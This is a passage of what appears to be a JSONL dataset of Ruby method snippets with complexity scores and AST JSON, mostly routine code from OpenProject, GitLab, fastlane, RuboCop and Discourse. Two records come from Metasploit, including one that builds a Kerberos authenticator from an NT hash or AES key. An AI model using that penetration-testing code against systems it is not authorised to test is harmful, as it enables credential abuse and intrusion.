end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@submenu_menu_items\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Bim\"]},\"Menu\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]},\"menu_items\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"efd715fb-9cca-40b7-a788-9a023e33c35e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/update_ancestors_service.rb","start_line":35,"raw_source":"def initialize(user:, work_package:)\n    super()\n    self.user = user\n    self.initiator_work_package = work_package\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"work_package\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user=\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"initiator_work_package=\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]}]}","id":"aeaf8763-036d-4b59-8ca1-cdba1a58a607"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/commit_version_bump.rb","start_line":270,"raw_source":"def modified_files_relative_to_repo_root(repo_root)\n          return [] if Actions.lane_context[SharedValues::MODIFIED_FILES].nil?\n\n          root_pathname = Pathname.new(repo_root)\n          all_modified_files = Actions.lane_context[SharedValues::MODIFIED_FILES].map do |path|\n            next path unless path =~ %r{^/}\n            Pathname.new(path).relative_path_from(root_pathname).to_s\n          end\n          return all_modified_files.uniq\n        end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"modified_files_relative_to_repo_root\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repo_root\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"MODIFIED_FILES\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"root_pathname\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"repo_root\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"all_modified_files\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"MODIFIED_FILES\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^/\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"next\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"relative_path_from\",{\"type\":\"lvar\",\"children\":[\"root_pathname\"]}]},\"to_s\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_modified_files\"]},\"uniq\"]}]}]}]}","id":"17f19573-8edc-4269-97c9-db5c7baacc6e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/server_spec.rb","start_line":17,"raw_source":"def perform(*args)\n          self.class.work\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"work\"]}]}","id":"6ed7a6f2-8019-4770-a75c-aa1222ecedfc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/graphql_controller.rb","start_line":201,"raw_source":"def disable_query_limiting\n    return unless Gitlab::QueryLimiting.enabled_for_env?\n\n    disable_reference = request.headers[DISABLE_SQL_QUERY_LIMIT_HEADER]\n    return unless disable_reference\n\n    first, second = disable_reference.split(',')\n\n    if first.match?(/^\\d+$/)\n      Gitlab::QueryLimiting.disable!(second, new_threshold: first&.to_i)\n    else\n      Gitlab::QueryLimiting.disable!(first)\n    end\n  end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"disable_query_limiting\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"QueryLimiting\"]},\"enabled_for_env?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"disable_reference\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"headers\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"DISABLE_SQL_QUERY_LIMIT_HEADER\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"disable_reference\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"first\"]},{\"type\":\"lvasgn\",\"children\":[\"second\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"disable_reference\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\d+$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"QueryLimiting\"]},\"disable!\",{\"type\":\"lvar\",\"children\":[\"second\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_threshold\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first\"]},\"to_i\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"QueryLimiting\"]},\"disable!\",{\"type\":\"lvar\",\"children\":[\"first\"]}]}]}]}]}","id":"3c687476-d5dd-45df-abc1-dd71ba3de081"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/activities_tab/journals/lazy_page_component.rb","start_line":66,"raw_source":"def page_streams_url\n          page_streams_work_package_activities_path(work_package, format: :turbo_stream)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"page_streams_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"page_streams_work_package_activities_path\",{\"type\":\"send\",\"children\":[null,\"work_package\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"turbo_stream\"]}]}]}]}]}","id":"dc56f0c8-236a-4eec-8f1f-c498492ab4f3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/aws_instance_connect_command_shell_bind.rb","start_line":27,"raw_source":"def shell_command_token_unix(cmd, timeout=10)\n      res = shell_command_token_base(cmd, timeout, \"\\n\")\n\n      res.gsub!(\"\\r\\n\", \"\\n\") if res\n      res\n    end","complexity_score":5.35,"ast_json":"{\"type\":\"def\",\"children\":[\"shell_command_token_unix\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"shell_command_token_base\",{\"type\":\"lvar\",\"children\":[\"cmd\"]},{\"type\":\"lvar\",\"children\":[\"timeout\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"a9f184d9-235a-4527-8ebc-5fd5ffbc86fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/batched_migration_job_spec.rb","start_line":322,"raw_source":"def perform(*_)\n              each_sub_batch { raise ActiveRecord::StatementTimeout } # rubocop:disable Lint/UnreachableLoop\n            end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"_\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StatementTimeout\"]}]}]}]}","id":"2ad346c8-2c6d-4a64-836a-2c1ac0c52902"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/snippet.rb","start_line":349,"raw_source":"def repository_storage\n    snippet_repository&.shard_name || Repository.pick_storage_shard\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"repository_storage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"snippet_repository\"]},\"shard_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Repository\"]},\"pick_storage_shard\"]}]}]}","id":"5bed7275-a2ce-4a87-b142-b624006f649b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/lambda_call.rb","start_line":55,"raw_source":"def prefer(node)\n          receiver = node.receiver.source\n          dot = node.loc.dot.source\n          call_arguments = if node.arguments.empty?\n                             ''\n                           else\n                             arguments = node.arguments.map(&:source).join(', ')\n                             \"(#{arguments})\"\n                           end\n          method = explicit_style? ? \"call#{call_arguments}\" : \"(#{arguments})\"\n\n          \"#{receiver}#{dot}#{method}\"\n        end","complexity_score":22.0,"ast_json":"{\"type\":\"def\",\"children\":[\"prefer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"receiver\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},\"source\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dot\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"dot\"]},\"source\"]}]},{\"type\":\"lvasgn\",\"children\":[\"call_arguments\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]},\"empty?\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arguments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"explicit_style?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"call\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call_arguments\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"receiver\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dot\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}]}","id":"69c2c453-279e-4762-bdac-c871f16292b3"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/workers/storages/cleanup_uncontainered_file_links_job.rb","start_line":34,"raw_source":"def perform\n    Storages::FileLink\n      .where(container: nil)\n      .where(\"created_at <= ?\", Time.current - OpenProject::Configuration.attachments_grace_period.minutes)\n      .delete_all\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storages\"]},\"FileLink\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"created_at <= ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Configuration\"]},\"attachments_grace_period\"]},\"minutes\"]}]}]},\"delete_all\"]}]}","id":"cc222b17-862e-4fd8-ab60-590bca95ff1a"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/requests/chat/api/channels_moves_controller_spec.rb","start_line":13,"raw_source":"def flag_message(message, flagger, flag_type: ReviewableScore.types[:off_topic])\n    Chat::ReviewQueue.new.flag_message(message, Guardian.new(flagger), flag_type)[:reviewable]\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"flag_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"flagger\"]},{\"type\":\"kwoptarg\",\"children\":[\"flag_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReviewableScore\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"off_topic\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"ReviewQueue\"]},\"new\"]},\"flag_message\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Guardian\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"flagger\"]}]},{\"type\":\"lvar\",\"children\":[\"flag_type\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"reviewable\"]}]}]}","id":"55e7da1b-63bf-4248-b6af-5440e2806325"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/trace/checksum.rb","start_line":64,"raw_source":"def trace_chunks\n          strong_memoize(:trace_chunks) do\n            ::Ci::BuildTraceChunk.with_read_consistency(build) do\n              build.trace_chunks.persisted\n                .select(::Ci::BuildTraceChunk.metadata_attributes)\n            end\n          end\n        end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"trace_chunks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"trace_chunks\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"BuildTraceChunk\"]},\"with_read_consistency\",{\"type\":\"send\",\"children\":[null,\"build\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\"]},\"trace_chunks\"]},\"persisted\"]},\"select\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"BuildTraceChunk\"]},\"metadata_attributes\"]}]}]}]}]}","id":"185005a9-243d-4d33-bb3d-64af4552389b"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/families_controller.rb","start_line":8,"raw_source":"def show\n    authorize @family\n\n    @members = @family.members.includes(:family_membership).order(:email)\n    @pending_invitations = @family.active_invitations.order(:created_at)\n\n    @member_count = @family.member_count\n    @can_invite = @family.can_add_members?\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@family\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@members\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@family\"]},\"members\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"family_membership\"]}]},\"order\",{\"type\":\"sym\",\"children\":[\"email\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@pending_invitations\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@family\"]},\"active_invitations\"]},\"order\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@member_count\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@family\"]},\"member_count\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@can_invite\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@family\"]},\"can_add_members?\"]}]}]}]}","id":"37c0ccd6-fd5b-4a78-b791-35c6e4462e4e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/issuable.rb","start_line":181,"raw_source":"def max_number_of_assignees_or_reviewers_message\n        # Assignees will be included in https://gitlab.com/gitlab-org/gitlab/-/issues/368936\n        format(_(\"total must be less than or equal to %{size}\"), size: MAX_NUMBER_OF_ASSIGNEES_OR_REVIEWERS)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"max_number_of_assignees_or_reviewers_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"total must be less than or equal to %{size}\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"const\",\"children\":[null,\"MAX_NUMBER_OF_ASSIGNEES_OR_REVIEWERS\"]}]}]}]}]}","id":"1f7884f9-1530-4b0c-8d4d-f681a0c038f0"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_redirect.rb","start_line":183,"raw_source":"def check_url_for call\n    arg = call.first_arg\n\n    if hash? arg\n      if value = hash_access(arg, :only_path)\n        return false if false?(value)\n      end\n    end\n\n    true\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"check_url_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arg\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"first_arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hash?\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"hash_access\",{\"type\":\"lvar\",\"children\":[\"arg\"]},{\"type\":\"sym\",\"children\":[\"only_path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"false?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},null]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"246ab117-bc36-4f0b-8841-ba5bc6ec101b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/kerberos/get_ticket.rb","start_line":165,"raw_source":"def init_authenticator(options = {})\n    options.merge!({\n      host: rhost,\n      realm: @realm,\n      username: @username,\n      pfx: @pfx,\n      framework: framework,\n      framework_module: self\n    })\n    options[:password] = datastore['PASSWORD'] if datastore['PASSWORD'].present?\n    if datastore['NTHASH'].present?\n      options[:key] = [datastore['NTHASH']].pack('H*')\n      options[:offered_etypes] = [ Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC ]\n    end\n    if datastore['AES_KEY'].present?\n      options[:key] = [ datastore['AES_KEY'] ].pack('H*')\n      options[:offered_etypes] = if options[:key].size == 32\n                                   [ Rex::Proto::Kerberos::Crypto::Encryption::AES256 ]\n                                 else\n                                   [ Rex::Proto::Kerberos::Crypto::Encryption::AES128 ]\n                                 end\n    end\n\n    Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)\n  end","complexity_score":41.65,"ast_json":"{\"type\":\"def\",\"children\":[\"init_authenticator\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"realm\"]},{\"type\":\"ivar\",\"children\":[\"@realm\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"ivar\",\"children\":[\"@username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pfx\"]},{\"type\":\"ivar\",\"children\":[\"@pfx\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"framework\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"framework_module\"]},{\"type\":\"self\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NTHASH\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NTHASH\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"offered_etypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"Encryption\"]},\"RC4_HMAC\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AES_KEY\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AES_KEY\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"offered_etypes\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[32]}]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"Encryption\"]},\"AES256\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"Encryption\"]},\"AES128\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"Kerberos\"]},\"ServiceAuthenticator\"]},\"Base\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[